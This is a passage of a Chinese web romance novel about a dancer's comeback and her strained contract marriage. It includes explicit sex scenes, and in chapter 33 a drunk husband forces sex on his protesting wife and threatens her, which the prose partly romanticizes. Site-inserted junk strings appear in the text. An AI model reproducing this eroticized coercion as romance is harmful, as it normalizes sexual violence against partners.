“再好的土壤,有你在,那也是臭了的地方。” “你!”沐黎真的要被这夫妻俩气死。 一个向团长施压要她把周绾宁请回京舞团,一个则拒绝她好不容易低下的头。 “是不想去我们京舞团,还是我哥压根就不会让你回舞台?”这时,一旁的谢霜鄞突然开口。【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 夜梦 “乖,我会温柔一些。” 谢霜鄞抱着胸踱步过来:“上次在逸园忘记告诉你一件事, 你不仅是我哥哥娶回家的工具人,而且我哥知道你很喜欢跳舞, 不让你跳是为了给沐黎姐让路。” 一句话,同时让周绾宁和一旁躺枪的沐黎震惊。 周绾宁看了眼沐黎。 沐黎则下意识握住谢霜鄞的手,制止:“霜鄞,别瞎说。” “沐黎姐,咱们就实话告诉她吧,让有些人心里有点数,别再妄想做什么我哥爱她的美梦了。” 谢霜鄞神色嚣张, “她也不想想, 那么有舞蹈天赋的人却只能在星海幼儿园做幼师, 我哥要是真爱你, 怎么会不支持你追求自己想要的?” 周绾宁低头笑了笑:“谢霜鄞,你想说这些话来刺激我,完全没必要。你回去问你妈妈,你进京舞团的名额是怎么来的?为了让你顺利进京舞团, 她强迫我签了两年的教师合约,避免和你出现在同一竞技舞台。” “你胡说八道什么!” 说话间,周绾宁叹息一声, “也难怪这几年新出来的舞蹈生,也不那么追崇进京舞团了。” “周绾宁,你说这个是什么意思?” 沐黎作为京舞团的首席,不容外人对京舞团有质疑。 “京舞团这几年止步不前,去年还差点丢失星辰杯, 不就是因为太多关系户的原因吗?” “我看你是进不去,才在这里诋毁我们京舞团吧。”谢霜鄞一看周绾宁在点自己,几乎炸了。 “就当我是在嫉妒吧。” 毫不在乎地说完这句话, 周绾宁转身带着包离开。 等病房里只剩下谢霜鄞、沐黎还有默默闭眼不说话的谢老爷子后,气氛进入了诡异的安谧里。 沐黎想到自己被谢温言教训,知道他心里的底线就是周绾宁。 她已经不敢再轻易触碰他的雷区,以免受到更严厉的打击。 只是…… 想到谢霜鄞刚刚说的话,沐黎就感觉到无语:“谢霜鄞,你哥有多看重你嫂子,我想你不会不知道,你和她不对付,为什么要拿我当枪?” 之前在谢老爷子的寿宴也是这样。 沐黎如今也已经无意再和周绾宁争谢温言。 这么多年朋友了,她知道谢温言不会轻易踏入一段婚姻里,但一旦踏入,必然很看重。 也是她之前有些鬼迷心窍了,以为在家人朋友的撮合下,谢温言总会看到她。 结果没想到,谢温言和孙晗莉的关系那么僵,也难怪与她越来越疏远。 谢霜鄞愣住了:“沐黎姐,你这话是什么意思,你不是一直想要做我的嫂子吗?” “想做和必须要做还有……有没有机会做,那都是两码事。现在时机不允许,我没那么傻非要往枪口上撞。” 沐黎心里很生气,但也不好对谢霜鄞表现出自己脸上的愤怒,“以后不要再这么没有边界感了。” 说完,她越过谢霜鄞,去看望谢老爷子。 而谢崇安看着沐黎,又看了看不省心的孙女,偏偏现在也不能张口骂她们,只能把刚刚的录音关闭。 录音是他中风后的习惯。 如果有人来说事,他可以挑重点告诉之后来看望自己的谢温言。 只是没想到,今天这录音还能用来记录这些事。 抛去以前的偏见,他现在还挺喜欢这个孙媳妇的,她再怎么,也比那几个只会惹事的强上许多。 看到自己的孙女,还有一个外人这么欺负她,谢崇安恨不能开口说话把她们骂出去。 最后,他不打算理会她们,闭上眼装作劳累的模样睡去。 * 虽然谢霜鄞说的话,没给周绾宁造成多大的影响,但内心的烦闷,还是让她没忍住,在睡前多喝了几杯红酒助眠。 这几天,谢温言一直住在公司处理事务。 偶尔林晗还会发消息过来,是谢温言躺在沙发上睡觉的照片。 他眼底的青黛色很重,胡渣也长了出来,显然根本没能有休息的时候。 她这几天没怎么联系他,其实是有些不知道该跟他怎么说自己想跳舞的事情。 她努力在脑海里组织着语言,渐渐的,醉意越来越浓倦。 不知道过了有多久,趴睡在谢温言那边的周绾宁,热得浑身都冒薄汗。 她在半睡不醒中,将被子掀开,露出身上清凉的睡裙。 这条,也是谢温言最喜欢的一条睡裙。 从骶骨开始以上,整个后背都在空气中展现蛊诱之力。 亮出她的蝴蝶骨以及肤上的每一寸,都在引人馋念。 在客房洗完澡过来的谢温言打开夜灯,看到的就是这一幕。 疲惫瞬间消失,他重新将前方的灯关掉,一颗一颗放开自己身上的睡衣纽扣。 又打开一旁的抽屉,拿出今晚要用到的东西。 随即,他轻柔地爬上去,覆在她上方,轻轻撩走她的发,亲吻她的耳垂,黏腻、缠慾。 没几下,下方的周绾宁闭着眼,忍不住蹙紧了眉头,张开嘴似乎要说什么,但只是低低地发出一些声音来。 有无数的热流冲击向下,谢温言抵着她的形状毫不遮掩。 几天没能回家,没能亲亲她、抱抱她,他快将她想疯了。 尤其是他爸出事前,他们之间还有没沟通清楚的问题,让他更是焦虑难安。 今晚他能回来,但明早还是要离开。 去接他爸离开看守所,再回公司给股东一个交代。 他也不想一回来就做这种事,而是这种事能让他最迅速地感受到周绾宁对他的需要、她的爱意。 他吻住她微张的唇,迫使她回头回应自己。 周绾宁醉懵了,迷迷糊糊看到是谢温言,以为自己在做梦,也很是热情地应对他。 很快,谢温言顺着她的后背一路亲下去,哪里都不肯放过,还将她翻过、堆起睡裙。 “这么想我……” 谢温言的目光专注地看着自己的两指,上面痕迹明显。 想来也有近小半个月两人没再做过了。 见周绾宁醉眼朦胧地呆看着自己,谢温言用手轻轻划过那儿,周绾宁没能忍住,自然而然地流出了声音来。 看出她也是想要他的,谢温言再也忍不住,把她的手放到自己身后,圈住自己的身躯。 周绾宁觉得这个梦很真实。 真实到她能感受到身上人的体温。 她甚至能感受到他 椿?日? 的身下是如何跳动。 只是他有些急切,弄得她有些疼。 周绾宁侧过头轻轻用牙抵住自己的食指,额头的薄汗越来越密集。 一开始太过于紧张,弄得谢温言也寸步难行,还有些疼。 “宝宝,放松些,让我顺利到达你的心里,好吗?”他凑到她耳边,轻声地哄。 周绾宁的指甲从他后背划过,留下几道红痕。 谢温言痛,却被激发了更多的爱意,他深深地来到他从未舍得达到的地方。 周绾宁的眼神有些失焦,呼吸都甚至回不过来。 但她从酒意里有些清醒:“出、去,谢温言……” 她用拳头轻轻捶着他的肩膀。 “乖,我会温柔一些。” 感受到她对自己的抗拒,谢温言心里一痛,连忙卑微地对她又亲又哄,只是那儿没舍得后退半分。 周绾宁睁着的眼睛里现出他清晰的五官,她忍不住抿唇,缓了半天有些缓和过来了。 以前明明能忍住三个月不见到他的落寞,但现在只是近五天的时光,她也忍不住有些委屈。 很快,松懈下来后的那儿也在告诉自己,她有些想他了。 但是明天就要去上台表演了,不能太累,以免影响明天舞蹈的表演效果。 所以周绾宁还是推他,并说了借口:“谢温言,有点疼,我不要了,想睡觉。” 谢温言愣了一下,再是舍不得,也还是乖乖往后退出。 只是亲昵之处,都在诉说对彼此的不舍。 “是我不好。”谢温言也怕是刚刚自己没有做好足够的准备,让她难受了。 周绾宁背过身去。 她很想他,但现在情况并不允许。 “疼。也不太舒……适。”周绾宁拧拧眉头,回看他,“你能不能只单纯地抱着我睡?” 上一次被周绾宁拒绝,谢温言没有太受伤,但这一次他真的有。 让他怎么能不多想呢? 从周思恒回来开始,她就拒绝与他做,原因和态度再明显不过。 人的本能是最不会骗人的,纵使已经到了那个程度,她还是能清醒地拒绝自己。 谢温言挫败:“我去客房睡,先不打扰你。” 他今夜绝对没办法睡在她身旁。 他怕醋疯了的自己对周绾宁做出点什么事情来,到时候伤害到她,那才是真正的罪不可恕。 周绾宁还处于醉醺醺的状态里,也不太知道后续的情况。 只记得后来…… 她迷迷糊糊地看到被自己拒绝的谢温言抱着自己的枕头离开卧室,三分钟后,他又折返回来一脸受伤地看着她,说着什么话,可她已经一个字都记不起来了。 次日清晨。 周绾宁醒来时,感受到了身下的异样。 一开始,她还觉得奇怪,直到发现房间里有谢温言回来的迹象,才意识到昨晚自己做的春丿梦并不假,真的是谢温言回来了,且他还进了那。 周绾宁来不及洗漱,连忙红着脸去隔壁房间找他想要告知自己这几天想好的说辞,却被上楼来的桐姨告知,谢温言一早就离开了梧桐湾,去了公司。 所以她想对他说的话,还是只能通过手机留言给他发过去:【温言,对不起。】 【我真的很喜欢跳舞,从五岁开始到现在,跳舞已经融入了我生命的一部分。 以前,我从未想要将舞蹈放下,后来遇到了很多困境,我不得不暂时放下它。 我很感谢你救我、救周家于水火,我这两年我遵守你和谢家的规矩不曾有碰过舞台,一直很好地扮演着谢太太的角色, 但我也深知,不回到舞台,周绾宁是不会快乐的。 我深知我们之间的婚姻只是一场简单且纯粹的交易,我应该做到妻子的本分,也不该妄想你付出太多。 虽然我一次次沉浸在了你对我的温柔之中,无法抽离, 但当未来要过的人生和那么好的你起了冲突,我才从自己酿造的美梦中清醒过来。 我知道你可能没办法支持我的热爱,但我也放不下我的舞台。 今晚我将进行我复出后的第一个舞台表演,我真心希望你能来,哪怕只待一小会,让我看见观众席里有你,地址:京市风华街791号礼堂二楼。 如果你没有来,那么我将会把你的态度视为不支持我回到舞台,不愿意有个抛头露脸的妻子。 你也可以判定我单方面地对我们的这场契约婚姻违了约,我们的婚约将会就此解除,我不会要你一分钱。同时,你要什么补偿,我也会尽可能满足你。 你的妻子,周绾宁。】 发完这则消息,周绾宁陷入忐忑的等待中。 第32章 挑拨 他只是把你当做一个战利品。…… 给谢温言发的这条消息, 周绾宁用了一个上午在等待。 但就像是石沉大海一样,她迟迟没等到他的回复。 也不知道谢温言最后会是什么回答。 之后, 她出门离开,去了舞蹈中心。 现场的调度导演很是严格,要求大家彩排时,都将手机统一上交,等晚会结束后再拿走,以免来电影响现场的表演效果。 周绾宁先在舞蹈室练了一会儿今天要表演的曲目。 在走出舞蹈室的时候,迎面遇到了谢霜鄞。 她是第一个表演, 舞台妆造还没卸掉, 此刻像只高傲的孔雀一样, 睥睨了一眼周绾宁。 而陪在她身边的小姑娘, 看到周绾宁出来,立马欣喜地拿出一张照片,递给周绾宁:“周老师,你能不能给我签个名?” 周绾宁愣住, 谢霜鄞也愣住了。 两人都不想在今天产生交集。 但架不住谢霜鄞身边有个小叛徒。 余潇潇则是一脸星星眼地看着周绾宁,继续说道:“周老师,我小时候可喜欢你的舞蹈了, 你就让我实现一下小时候见偶像的梦想,你一定能继续在舞台上发光发热的!” 谢霜鄞气得都在余潇潇身后变了脸色。 周绾宁看着她脸上五彩斑斓的模样,拿过那孩子的照片看了一眼,竟然是七年前自己首次登台演出《月下洛神》时的剧照。 时隔七年,物是人非。 周绾宁爽快地接过她递过来的笔, 在上面签上自己的名字,随后颔首后离开。 等看到周绾宁的身影后,谢霜鄞一把扯过自己的好朋友, 质问:“余潇潇,你干什么?” 余潇潇没发现谢霜鄞对周绾宁的敌意,对她科普:“周老师是我想要学舞蹈的偶像!“ “偶像?之前怎么没听你说过?” “你忘啦?小时候我们在京市文化大剧院看的第一个演出,就是周老师表演的《月下洛神》,那时候她十八岁,跟我们一样大,她都能巡演了!” 谢霜鄞微微蹙眉:“那不是沐黎姐跳的吗?” 余潇潇:“那时候沐黎都还没有当上京舞团首席,也籍籍无名,怎么会登上京市文化大剧院登台表演呢。” 谢霜鄞还是不怎么信。 余潇潇又提醒了一件事:“你忘啦,那天你还碰到你哥了。因为你那大哥太太太帅,所以我的印象可深了。” “我哥……” 谢霜鄞是记得有一次在京市文化大剧院看到哥哥。 那天好像还是她大妈妈,也就是谢温言生母的祭日。 她也是在那一次发现哥哥竟然喜欢看古典舞,所以她就缠着妈妈给她找了舞蹈老师。 如果时间线没错,那天她看的《月下洛神》难道是周绾宁跳的? “马上周老师就要上台表演了,听说这一次也是跳《月下洛神》,时隔七年,呜呜我待会去拿相机多拍几张照片,我舞蹈室的小伙伴都很喜欢她。” “她有那么知名吗?”谢霜鄞还是没法把周绾宁和她年少时被舞蹈室里的 春鈤 同学追捧的女神联系在一起。 “那当然,如果不是这三年她没有复出表演,被舞台差点遗忘,现在不至于来参加这个小晚会,应该也是在全世界各地进行巡演交流。” 之后,余潇潇拉着谢霜鄞回休息室换衣服。 不过想到什么,谢霜鄞最后还是离开自己的休息室,去了周绾宁的休息室。 霜舞的休息室里,此刻不止有周绾宁一个人,还有一个男人。 谢霜鄞以为自己会看到哥哥,没想到那个和她哥哥有点像的人并不是他,而是京舞团的周董事。 周绾宁也很意外会在这里碰见他:“你来干什么?” “我把我的联系方式都给拉黑了,所以没办法联系上你。” 周思恒将手中的花盒放到了她的面前,“恭喜啊,正式回归舞台。” “既然没办法联系上我,你又怎么知道,我会在这?你找人调查我?”周绾宁微微蹙眉,很是不悦。 她不喜欢自己的一言一行都在别人的监控之下。 “今天一早我去京舞团看你复试比赛,谁知道你的名字不在名单上面,就找了林团长询问情况,她说你拒绝了京舞团的邀请,还去了霜舞工作室。京舞团是你小时候一直想去的,为什么要错失这个机会?” “这些问题不是你该问的,周思恒,我马上就要上台表演了,请你离开这。” “绾宁,跟我走吧。” 周思恒握住她的手,“恒星集团这两年也跟国外不少舞蹈团有合作,那都是我为你一起出国奠定的基础,我知道你有多热爱舞台,但你那个丈夫一点也不知道,但凡他知道,这两年你会去做一个幼师?他根本就不在乎你的热爱,只是想让你做一个工具人!” 周绾宁撤回自己的手:“周思恒,所以你到底是为什么回来?你是觉得两年前丢下我、丢下周家,很愧疚,还是觉得我和谢温言在一起,让你那莫名其妙的占有欲升起来了,你也并不是非我不可,只是觉得我就该在这里痛苦地等待你回来救赎?” “绾宁,我不是……” 周思恒闭了闭眼,“难道你以为谢温言就不是吗?他和你在一起你知道是为了什么吗?他一直在把我当假想敌,他现在救你于水火和你在一起,是因为他爱你吗,不,他只是把你当做一个战利品,向我炫耀,他终于在某一方面打败了我!” 那么明显的答案在这一刻被挑明,周绾宁的心难免有些被刺痛。 其实之前三个人在恒星会所吃过饭后,她就觉察出有一点不对劲—— 谢温言和周思恒似乎早就认识。 后来她抱着试探的想法,问过林晗相关。 林晗告诉她,谢温言和恒星集团CEO周思恒一直是商场的劲敌。 两个人很早前在国外读研时就认识,国外那些和他们交好过的合作商都知道两个人之间十分不对付。 林晗还说,两人就喜欢争来争去。 之前谢温言每次出国,都是在和周思恒争夺项目和合作方。 那时,周绾宁也有品出一丝不对劲来。 现在才发现好像是如周思恒所说的那样,她只是一个战利品。 谢温言去国外和周思恒斗的时间,都比留在国内陪她的时间多。 “我不在乎!” 周绾宁深吸一口气,压下眼眸里的眼泪,“他救了我,救了周家,救了周氏集团其他的员工,就算他把我当个工具人、战利品,我也会做好这个工具人和战利品!” 周思恒愣住,然后陷入长久的沉默之中。 半晌后,周绾宁擦掉眼泪,看他:“周思恒,其实我之前确实有在等你,我在等你交代一件事。” 周绾宁知道自己问出这个问题后,她和周思恒就没有转圜的余地了,“告诉我,周家是不是因为你,才需要填补那么大的窟窿?那个害死我爸的间接凶手,是不是你?” 良久,周思恒都在沉默,那是再也明显不过的答案。 周绾宁的眼泪再也包不住,选择转移话题:“周思恒,你真自私,你明知道我看见你情绪平复不了,却还是在我那么重要的复出舞台前,来扰乱我的心情……” “我明明白白地告诉你,我就算离开谢温言,就算回到不安宁不快乐的生活,我也绝对不会跟你走。” 这时,门外走进来一个人。 不等周绾宁反应过来,谢霜鄞已经站在了她的面前,双手抱胸,看着周思恒:“你一个闲杂人等在舞蹈演员休息室干什么?还欺负人,信不信我让保安把你带走?” “你是……” “哦,你可能不认识我。我是谢家二小姐。我哥和我嫂子相爱得很,你少来这里撬别人家墙角,不能够。” 周绾宁愣了一下,没想到自己和周思恒的对话会被谢霜鄞听见。 谢霜鄞回过头来看了看她,随即一把拽着周思恒的手就往外走。 走到门口了,谢霜鄞才看向她:“好好平复心情,好好跳舞,别给我哥丢脸。”说完,她还顺手将休息室的门关上了。 周绾宁看着上面钟表上的时间,离她登台表演就只剩下半个小时了。 她来不及思考谢霜鄞为什么会出现在这,努力在镜子前平复心情。 直到三分钟后,休息室的门被人敲响,很有礼貌。 周绾宁过去打开,发现是个跑腿小哥,对方送来了一只花盒。 她重新关上门,看着花盒上的洋甘菊,上面并没有署名,但看到它的这一刻,周绾宁莫名安心,刚刚的眼泪也全部憋了回去。 她打开卡片,上面就一句话—— 恭喜回到舞台。 ——一直很支持你的黑暗先生。 看到以前支持自己的人都回来了,周绾宁是感动的。 最后,心里的焦虑被抚平,她为自己戴好水袖,起身走向后台。 * 当夜,周绾宁再跳《月下洛神》奇迹般地登上了热搜,一开始只是在50条热搜不太起眼的地方。 但随着入场的路人越来越多,有不少人加入讨论,直接让舞蹈热搜从47上升到了22又在一会儿后,到了11位。 原本以为11位是这个热搜的极限,但随着周绾宁后台采访开始,热搜直接登顶第一。 很显然,周绾宁带着霜舞工作室打响了名号。 如果说舞台上的周绾宁凭着舞技征服观众,那么后采素颜的周绾宁更是俘获了不少人的心。 「哇塞,她真的好温柔好美,有一种被保护得很好的岁月静好,一点也不像是上次热搜上说的那样为钱去陪酒的那种女生。」 「啊啊啊,她当初还在京舞学院的时候,我就超级吃她的颜,每次学校晚会的时候她都会表演舞台,我看见她就只想直呼老婆!」 「她可温柔了,现在是我孩子幼儿园的老师,人家小周老师一直勤勤恳恳对待工作,怎么可能是陪酒的,哪来的谣言。对了,小周老师应该已经结婚了,上次去校门口接孩子,还看到她手上有婚戒。」 孩子家长的一句话,顿时激起了路人的好奇心,纷纷想要知道周绾宁的丈夫是谁。 随着讨论越来越激烈,热搜高居第一,迟迟不下。 只是舞台上周绾宁的表演有多精彩,转身下舞台的那一刻,她也依旧掩盖不住脸上的慌乱。 因为她刚刚无论是开幕还是颁奖还是最后谢幕,都没有看到谢温言的身影。 为了防止是自己搞错了,她特意在舞台结束后的第一时间回到了休息室,拿到自己的手机,去查看谢温言的微信。 就像是没在观众席上看到谢温言的出席一样,她也没在手机上看到任何关于谢温言发给她的留言。 这一刻,事业上获得的如惊涛一般的掌声,也遮掩不了她心底的空落。 所以…… 谢温言是放弃她、放弃他们的婚姻了吗。 周绾宁点开他的朋友圈。 明明最上面还是他们的婚纱照,可为什么谢温言没有过来?难道他真的就像是周思恒说的那样,只是把她当做战利品,对她没有一点感情吗? 可回忆里他对她的种种温情又在告诉她,不是的,谢温 椿?日? 言之前还在与她说试试,他们之前也那么要好。 他不会对她没有感觉。 这时,岑霜打来电话,约周绾宁一起参加晚会结束后的庆功宴。 周绾宁心里全是待会回家该怎么和谢温言聊今后的路,没有心思去应酬。 所以她拒绝了导师的邀请,只说想回家和她的先生一起庆祝。 岑霜见她态度坚决,也没再坚持。 周绾宁收拾好自己的包包,连身上里层的舞服都没换,急匆匆赶回家。 她想最后一次,挽救他们的婚姻。 第33章 违背 是一盒避孕药。 桐姨被勒令离开梧桐湾的时候, 再三看了眼沙发上的谢温言,有些忐忑不安。 暴风雨之前的宁静, 着实让她有些不安。 但这终究不是她一个管家能管的事。 希望自己离开的这三天,小两口能够好好沟通,不要吵架。 她关门离开。 而谢温言静静地握着手里的威士忌,透过酒液,回想起了九个小时前的事情。 那时,他刚把他爸从董事会里救回来。 如果谢家在盛坤又失去一席有力的位置,孙晗莉就会让孙家的人换下谢书俊, 完成最后的大清洗。 他向董事会递交了找到的孙晗莉才是签单的人的证据, 孙晗莉主动辞去亚太区域高管位置。 孙子琦则为了他姐不进牢里, 强行闯进盛坤集团, 从他手里夺走了装满孙晗莉犯罪证据的手机,丢进了公司的湖里。 他只来得及看到周绾宁发的一句对不起。 对不起什么,他不敢细想。 手机被打捞上来后,开不了机。 他让林晗帮忙去找人维修, 启用了备用手机。 后来,他前往京舞团旁边的酒店进行商务洽谈,恰好遇到沐黎前往该酒店三层游泳。 看到他在这, 沐黎很好奇:“你没去吗?” “去哪?” “周绾宁拒绝了京舞团的邀请,没来参加复试,倒是去了一个名不见经传的小舞团,今晚六点,那个舞团和京舞团的小分队都会去进行晚会表演, 应该算是她的复出舞台。” 想着,沐黎又加上一句,“那么重要的舞台, 她没叫你一起参加?” 谢温言装作知情,看了看手表:“时间还早,我开完会就过去。” 沐黎也就没有再多说什么。 下午的会议他洽谈得毫无心思,先是打了几个周绾宁的电话,她都没接,或许是因为陌生电话的原因。 最后他提前离席去向岑霜打听了霜舞工作室今天会在哪里举办的晚会,以过去的黑暗先生粉丝名送她洋甘菊。 他打算以此来坦白,一直默默支持她跳舞的黑暗先生是自己。 那么作为谢温言,又怎么会不支持她继续追逐自己的梦想? 他赶过去时,舞台已经开启。 因为去的比较晚,他只能坐在最不起眼的角落里。 时隔三年再次看到她登台演出,表演的还是让他对她一见钟情的《月下洛神》。 一时间,舞台不复存在,黑暗中只有两束光照亮了他们彼此。 梅花树下,她在花瓣和月光中翩然起舞,层层叠叠的水袖落在她手心又击打出去,行云流水般,每一个神色都是让心爱的人被她致命吸引。 是啊,她就是该在舞台上展现自己的,而不是想着去幼儿园,背离自己的喜好。 两年前,他得知她要去幼儿园工作,有问她为什么不继续回到舞台。 周绾宁深深地看着他,只说,她觉得做幼儿园老师也挺好。 他想只要她喜欢,也没什么不可以。 之后他忙于开拓盛坤集团、把周氏集团的一些产业抢救回来,用盛世集团好好经营着。 再是在国外找周思恒转移周氏集团核心技术的证据。 没能好好陪着周绾宁,疏忽了她这两年一直在压抑自己的热爱。 只是她为什么不告诉他? 是因为觉得跟他没有以后,只是契约夫妻关系,所以就连这点交心的事情都不愿意与他分享吗? 一曲舞蹈结束,她的目光在观众席上似乎在寻找着什么人,他刚要起身向她证明他在这,他很支持她跳舞。 但他遥遥地看到周绾宁的目光在看到第一排的人时愣了一下。 他看清了,对方是周思恒。 没想到,还是和七年前一样。 周思恒能够明目张胆在她身边,与她共同见证她每次舞台过后的掌声,而他只能做一个阴暗角落里的见证者、鼓掌者。 她的巡演,他一场都没落下。 同样,周思恒也是。 每次舞台结束,她都会兴奋地蹦到周思恒面前,和他夸耀今天她很满意自己的演出。 她的快乐和欢喜,只真实地展示给周思恒。 周思恒一回来,她就再也不让他碰了。 连今天她的复出舞台,他都不曾得知,但周思恒却能在第一排见证。 谢温言不喜欢将爱意在外人面前宣泄,自然也不喜欢将醋意、那个失控的自己都表露给外人看。 他控制住自己,提前离席,只让跑腿将自己的花送到。 无论周绾宁准备如何面对他们的婚姻,至少她的黑暗先生都在守护着她。 现在,他在等周绾宁给一个回答,他们之间该怎么继续往下走。 既然她提出“排他性”,那么他和周思恒她只能选一个。 昏暗的室内,酒瓶上倒映出来的谢温言,再也没有他平日所示的克制隐忍,是阴鸷又偏执。 他拿着酒瓶,上楼去等她。 * 周绾宁回到梧桐湾的时候,天已经彻底暗下了,可老洋房别墅只亮了主卧一盏灯。 看来是…… 谢温言在等她。 来之前她还有信心找他谈谈,但踏进屋里的那一刻,她就觉得自己的鸵鸟属性再次发作。 在客厅里晃荡许久后,她躲去了舞蹈室里。 其实她以前并不是这种鸵鸟的性格,现在有这种回避型人格,或许是因为一次次的期望落空后,一种创伤后应激障碍。 认为只要不主动去揭开那些矛盾,或许都能顺利躲掉。 可这一次,真的躲不掉了。 周绾宁深呼吸一口气,打开舞蹈教室的门,刚回到客厅,却看见原本应该在房间等她的谢温言出现在楼梯口,看样子是出来找她了。 周绾宁看着他眼神阴鸷又笃定地看着她,有些逃避地准备从一旁的电梯上去。 谁知,在电梯门即将关上的时候,一只手钻了进来。 电梯门感应到,重新打开。 谢温言步入进来,带着倾袭感的气焰,盈满了整个电梯箱。 周绾宁不敢看他,手搭在电梯箱后的扶手上,轻轻握紧。 忽的,男人大大地跨了一步,将两个人之间的距离疾速缩短。 周绾宁回头仰视阴鸷气息不掩不藏的男人。 他应该已经洗过澡了,身上是雪松味,但他喝酒了,不仅身上有淡淡的酒香,还有那深邃又茫然的情绪。 周绾宁深吸一口气,放松心情:“谢温言,我们好好谈谈?” “好,你现在给我一个答案。你的以后,到底是周思恒,还是……我?”他低头看她,眼神里透着说一不二的控制慾。 不知怎么,他的话忽然就让周绾宁想起了周思恒的话。 周绾宁想窥得一些他的真心:“谢温言,我也想要一个答案……我是不是你的一个战利品?” 谢温言低下头,嗤笑一声,眼底都是疼痛:“所以这两年婚姻,你就是这样觉得的?” “说实话,在你这次回来前,我并不觉得我是你的战利品……” 谢温言眼底划过一丝后悔,刚想要对她温柔些。 周绾宁便补上了一句,“我以为我只是你的工具人,只是替你□□谢家的工具人。” 谢温言定定地看着她,心脏像是被什么侵蚀,疼痛从一个点开始泛滥,逐渐往四周扩散。 看清他眼底的痛楚,周绾宁有一瞬无措,不知道该怎么反应。 “工具人?战利品?所以我这两年 椿?日? 来所有为你的打算、非你不可的决心,又算什么?” 酒意在生气中,越发浓郁。 谢温言不想再从她嘴里听到那些让他痛心的话,他低下头强势地吻住她。 “唔……” 周绾宁想要说的话被他堵住。 她想要推开他,把心里的话、两年的委屈都说出来。 只是谢温言强势极又冷漠,是她之前所没有见过的近乎暴戾的他。 他将她端起,压在电梯壁上,又亲又啃,没几下就将她咬得眼泪都渗出了眼眶。 “谢温……”她开口刚唤出他的名字,又被他堵住了呼吸。 周绾宁狠了心扯破他的下唇,想要制止他此刻的粗粝。 霎那间,有血腥味在两个人的唇腔里蔓延。 谢温言放开她了一些,阴鸷的眼神盯着她,从她的唇上擦走他的血液:“想尝尝工具人、战利品的滋味吗?” “什么?” 谢温言凑过来,灼热的呼吸落在她的耳垂处,他轻声宣判:“我对工具人从来不会耐心、温柔、照顾、疼爱。” 周绾宁愣住,在看清他眼底的慾念后,反应过来,连忙挣扎:“不要,谢温言,你不能这样对我。” 但她的话语再次被他堵住。 他一手捧着她,另一手按了二楼的按键。 电梯上行、打开,他带着她回了卧室里。 门关上,他将她放下,准备宽衣解带。 周绾宁则趁他不注意,往浴室里跑。 但她忘了,主卧的浴室门根本没有锁。 她怔怔地看着高大又挺括的男人一边解着睡衣,一边气势压城地朝她踱步过来。 * 随着太阳破晓,晨曦涌入房间后,布满抓痕的男人从床上苏醒。 他下意识伸手去拥揽身侧的人,想要嗅一嗅她身上淡淡的香味,以来缓和自己身上宿醉后的疼。 但无论他怎么摸,身旁都是空荡荡的。 谢温言深邃的眼睛睁开,他环顾四周,并没有看到令他心心念念的人。 他掀开被子下去,在经过一扇落地镜前,看到自己身上布满了红痕,瞬间关于昨晚的记忆有些被拼凑起来。 他记得周绾宁控诉他把她当做一个工具人、战利品。 后来,他强行把她带到了主卧。 再之后…… 谢温言来到浴室里,看到一地薄纱舞裙。 他记得昨晚自己踏入浴室后,关掉了推拉门,然后一把将周绾宁抱起,扯坏了她身上的薄纱舞裙,粗粝地对待她。 他逼迫她看着镜子,让她看她有多需要他,一下又一下撞着她,不顾她眼底的泪花与害怕。 他强迫周绾宁说要他、说爱他。 周绾宁为了哄他温柔些,一遍遍亲着他的额头、鼻梁、双唇,带着哭腔说她爱她。 后来,她放弃挣扎,还迎丿合了他。 只是求他让他给她留些力气,明天他们还要去领离婚证。 他刚被哄好,又被告知她想跟他离婚的意愿,于是在停歇了一会儿,继续强势地要她。 周绾宁的眼尾泛红,神情破碎又惊艳。 被他撞到极致深的地方时,她还在他后背抓出一道道抓痕。 他告诉她,他爱她,不会放过她。 她则说了一遍遍,他没有去一个地方。控诉她在谢家和她之间,立场从不是她。 她要他去的那个地方是哪,他记不得了。 陷入酒意的他,只知道本能地给她快乐,用“做”这件事上告诉他,他的答案是什么。 所以昨晚…… 他是不是违背周绾宁的意愿,强行对她做了那件事? 谢温言的声音不稳地在房间里喊了几声她的名字,却并未被回应。 他愣了愣,连忙跑向衣帽间,在没找到她后,又跑去二楼东侧的健身房、楼下的影音室、舞蹈室。 一无所获。 他拿出手机准备给她打电话,却在经过一楼的餐桌时,发现上面放着一杯水和一板药。 谢温言疑惑靠近、拾起。 是一盒避孕药。 他彻底慌神。 周绾宁不愿意与他有孩子。 可昨夜的他们毫无隔阂,自己一次又一次释放在她里面。 她现在是不是恨透了他? 谢温言不敢再想,他拿出定位准备寻找她现在的位置。 无论如何他必须做点什么求她原谅。 可他发现周绾宁此刻的定位,还是在梧桐湾里。 他继续在房间里找了一圈。 最后,他终于在她的床头柜里发现了他给她的手链,以及躺在手链底下的一份……《离婚协议书》。 并且他也发现,房间里什么都在,唯独少了周绾宁来梧桐湾时提着的行李箱和她的衣服。 第34章 褪去 没羞没臊地亲她、啃她 周绾宁坐了最早一班的地铁, 拎着行李箱住到了自己的小公寓里。 这是她爸爸留给她最后一份资产,也是搬到梧桐湾前她住的地方。 周绾宁放下行李后, 仔仔细细地将家里打扫了一遍,努力让自己忙起来,才能尽量不去想那个人。 可刚走到洗手间,看到洗手台的时候,昨晚的混乱尽数冲击着她的脑海。 醉酒的他强行打开她那,没羞没臊地亲她、啃她,让她动情万分又得不到, 几近抓狂。 后来他又强势撞她, 比以往都用力、蛮横、至深。 她把自己的委屈都控诉给他听, 他也就只是听着, 神情完全是醉酒后的偏执。 期间见他几乎破碎,她主动去亲他哄哄他,可他只是冷冷地看着她,甚至撇过头不让她碰。 他真的做到了, 如他所说的那样,把她当成工具人、战利品。 她伤心落泪,也更加抵触与他亲热。 可他没了往日的温情, 每一下都到达极致,让她全身都用力抱着他,直到无力散开,还没缓和过来,就又是一场疯狂。 那种濒死的感觉让她害怕恐慌, 瑟缩在他身下,无助不已。 唯有动情后身下一片的热潮,告诉她, 她被他弄得既羞耻又飘然。 可是以往他做过头了,他都会即刻给她安抚,唯独这次没有。 他睡过去前,还说了一句:“周绾宁,别再想着逃离我,否则,我会比今天更狠。” 如果是这天之前,她不会相信他会有这样的蛮横强势。 今天之后她确实怕了,又想到被他一夜灌入那么多,就更害怕之后他会强迫她怀孕。 所以她吃了避孕药后逃出来躲躲。 等到最后一个月合约到期,她再跟谢温言好好商讨离婚的事情。 这期间他们彼此冷静一下。 只有冷静下来,想清楚了才知道接下来的路该怎么走。 周绾宁叹了一口气,憋下一夜的委屈,默默将衣服都挂到衣柜里。 她没有带谢温言给她买的衣服,大多是她买给自己的T恤、连衣裙。 